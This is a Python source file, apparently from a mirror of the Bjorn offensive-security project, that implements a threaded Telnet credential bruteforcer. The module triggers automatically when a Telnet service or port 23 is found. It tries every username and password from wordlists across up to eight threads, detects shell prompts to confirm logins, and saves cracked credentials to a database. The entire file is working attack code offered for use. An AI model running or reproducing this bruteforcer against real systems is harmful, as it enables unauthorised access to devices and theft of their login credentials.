mirror of
https://github.com/infinition/Bjorn.git
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b0584a1a8e
feat: Implement package management utilities with JSON endpoints for listing and uninstalling packages feat: Create plugin management utilities with endpoints for listing, configuring, and installing plugins feat: Develop schedule and trigger management utilities with CRUD operations for schedules and triggers
297 lines
11 KiB
Python
297 lines
11 KiB
Python
“””telnet_bruteforce.py - Threaded Telnet credential bruteforcer.”””
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import os
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import telnetlib
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import threading
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import logging
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import time
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from queue import Queue
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from typing import List, Dict, Tuple, Optional
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from shared import SharedData
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from actions.bruteforce_common import ProgressTracker, merged_password_plan
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from logger import Logger
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logger = Logger(name="telnet_bruteforce.py", level=logging.DEBUG)
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b_class = "TelnetBruteforce"
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b_module = "telnet_bruteforce"
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b_status = "brute_force_telnet"
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b_port = 23
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b_parent = None
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b_service = '["telnet"]'
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b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]'
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b_priority = 70
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b_cooldown = 1800 # 30 min between runs
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b_rate_limit = '3/86400' # max 3 per day
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b_enabled = 1
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b_action = "normal"
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b_timeout = 600
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b_max_retries = 2
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b_stealth_level = 3
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b_risk_level = "medium"
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b_tags = ["bruteforce", "telnet", "credentials"]
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b_category = "exploitation"
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b_name = "Telnet Bruteforce"
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b_description = "Threaded Telnet credential bruteforcer with prompt detection."
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b_author = "Bjorn Team"
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b_version = "2.0.0"
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b_icon = "TelnetBruteforce.png"
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class TelnetBruteforce:
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"""Orchestrator wrapper for TelnetConnector."""
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def __init__(self, shared_data):
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self.shared_data = shared_data
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self.telnet_bruteforce = TelnetConnector(shared_data)
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logger.info("TelnetConnector initialized.")
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def bruteforce_telnet(self, ip, port):
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"""Run Telnet bruteforce for (ip, port)."""
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return self.telnet_bruteforce.run_bruteforce(ip, port)
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def execute(self, ip, port, row, status_key):
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"""Orchestrator entry point. Returns 'success' or 'failed'."""
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logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
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self.shared_data.bjorn_orch_status = "TelnetBruteforce"
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self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
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success, results = self.bruteforce_telnet(ip, port)
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return 'success' if success else 'failed'
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class TelnetConnector:
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"""Handles Telnet attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
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def __init__(self, shared_data):
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self.shared_data = shared_data
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# Wordlists
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self.users = self._read_lines(shared_data.users_file)
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self.passwords = self._read_lines(shared_data.passwords_file)
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# Cache IP -> (mac, hostname)
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self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
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self._refresh_ip_identity_cache()
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self.lock = threading.Lock()
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self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port]
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self.queue = Queue()
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self.progress = None
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# ---------- file utils ----------
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@staticmethod
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def _read_lines(path: str) -> List[str]:
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try:
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with open(path, "r", encoding="utf-8", errors="ignore") as f:
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return [l.rstrip("\n\r") for l in f if l.strip()]
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except Exception as e:
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logger.error(f"Cannot read file {path}: {e}")
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return []
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# ---------- mapping DB hosts ----------
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def _refresh_ip_identity_cache(self) -> None:
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self._ip_to_identity.clear()
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try:
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rows = self.shared_data.db.get_all_hosts()
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except Exception as e:
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logger.error(f"DB get_all_hosts failed: {e}")
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rows = []
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for r in rows:
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mac = r.get("mac_address") or ""
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if not mac:
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continue
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hostnames_txt = r.get("hostnames") or ""
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current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
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ips_txt = r.get("ips") or ""
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if not ips_txt:
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continue
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for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
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self._ip_to_identity[ip] = (mac, current_hn)
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def mac_for_ip(self, ip: str) -> Optional[str]:
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if ip not in self._ip_to_identity:
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self._refresh_ip_identity_cache()
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return self._ip_to_identity.get(ip, (None, None))[0]
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def hostname_for_ip(self, ip: str) -> Optional[str]:
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if ip not in self._ip_to_identity:
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self._refresh_ip_identity_cache()
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return self._ip_to_identity.get(ip, (None, None))[1]
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# ---------- Telnet ----------
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def telnet_connect(self, adresse_ip: str, user: str, password: str, port: int = 23, timeout: int = 10) -> bool:
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timeout = int(getattr(self.shared_data, "telnet_connect_timeout_s", timeout))
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try:
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tn = telnetlib.Telnet(adresse_ip, port=port, timeout=timeout)
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tn.read_until(b"login: ", timeout=5)
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tn.write(user.encode('ascii') + b"\n")
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if password:
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tn.read_until(b"Password: ", timeout=5)
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tn.write(password.encode('ascii') + b"\n")
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time.sleep(2)
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response = tn.expect([b"Login incorrect", b"Password: ", b"$ ", b"# "], timeout=5)
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try:
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tn.close()
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except Exception:
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pass
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if response[0] == 2 or response[0] == 3:
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return True
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except Exception:
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pass
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return False
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# ---------- DB upsert fallback ----------
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def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
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mac_k = mac or ""
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ip_k = ip or ""
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user_k = user or ""
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db_k = database or ""
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port_k = int(port or 0)
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try:
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with self.shared_data.db.transaction(immediate=True):
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self.shared_data.db.execute(
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"""
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INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
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VALUES('telnet',?,?,?,?,?,?,?,NULL)
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""",
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(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
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)
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self.shared_data.db.execute(
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"""
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UPDATE creds
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SET "password"=?,
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hostname=COALESCE(?, hostname),
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last_seen=CURRENT_TIMESTAMP
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WHERE service='telnet'
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AND COALESCE(mac_address,'')=?
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AND COALESCE(ip,'')=?
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AND COALESCE("user",'')=?
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AND COALESCE(COALESCE("database",""),'')=?
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AND COALESCE(port,0)=?
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""",
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(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
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)
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except Exception as e:
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logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
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# ---------- worker / queue ----------
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def worker(self, success_flag):
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"""Worker thread for Telnet bruteforce attempts."""
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while not self.queue.empty():
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if self.shared_data.orchestrator_should_exit:
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logger.info("Orchestrator exit signal received, stopping worker thread.")
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break
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adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
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try:
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if self.telnet_connect(adresse_ip, user, password, port=port):
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with self.lock:
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self.results.append([mac_address, adresse_ip, hostname, user, password, port])
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logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}")
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self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
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self.save_results()
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self.removeduplicates()
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success_flag[0] = True
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finally:
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if self.progress is not None:
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self.progress.advance(1)
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self.queue.task_done()
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# Optional delay between attempts
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if getattr(self.shared_data, "timewait_telnet", 0) > 0:
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time.sleep(self.shared_data.timewait_telnet)
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def run_bruteforce(self, adresse_ip: str, port: int):
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self.results = []
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mac_address = self.mac_for_ip(adresse_ip)
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hostname = self.hostname_for_ip(adresse_ip) or ""
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dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
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total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
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if total_tasks == 0:
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logger.warning("No users/passwords loaded. Abort.")
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return False, []
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self.progress = ProgressTracker(self.shared_data, total_tasks)
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success_flag = [False]
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def run_phase(passwords):
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phase_tasks = len(self.users) * len(passwords)
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if phase_tasks == 0:
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return
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for user in self.users:
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for password in passwords:
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if self.shared_data.orchestrator_should_exit:
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logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
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return
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self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
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threads = []
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thread_count = min(8, max(1, phase_tasks))
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for _ in range(thread_count):
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t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
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t.start()
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threads.append(t)
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self.queue.join()
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for t in threads:
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t.join()
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try:
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run_phase(dict_passwords)
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if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
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logger.info(
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f"Telnet dictionary phase failed on {adresse_ip}:{port}. "
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f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
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)
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run_phase(fallback_passwords)
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self.progress.set_complete()
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return success_flag[0], self.results
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finally:
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self.shared_data.bjorn_progress = ""
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# ---------- persistence DB ----------
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def save_results(self):
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for mac, ip, hostname, user, password, port in self.results:
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try:
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self.shared_data.db.insert_cred(
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service="telnet",
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mac=mac,
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ip=ip,
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hostname=hostname,
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user=user,
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password=password,
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port=port,
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database=None,
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extra=None
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)
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except Exception as e:
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if "ON CONFLICT clause does not match" in str(e):
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self._fallback_upsert_cred(
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mac=mac, ip=ip, hostname=hostname, user=user,
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password=password, port=port, database=None
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)
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else:
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logger.error(f"insert_cred failed for {ip} {user}: {e}")
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self.results = []
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def removeduplicates(self):
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"""No longer needed with unique DB index; kept for interface compat."""
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# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
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if __name__ == "__main__":
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try:
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sd = SharedData()
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telnet_bruteforce = TelnetBruteforce(sd)
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logger.info("Telnet brute force module ready.")
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exit(0)
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except Exception as e:
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logger.error(f"Error: {e}")
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exit(1)
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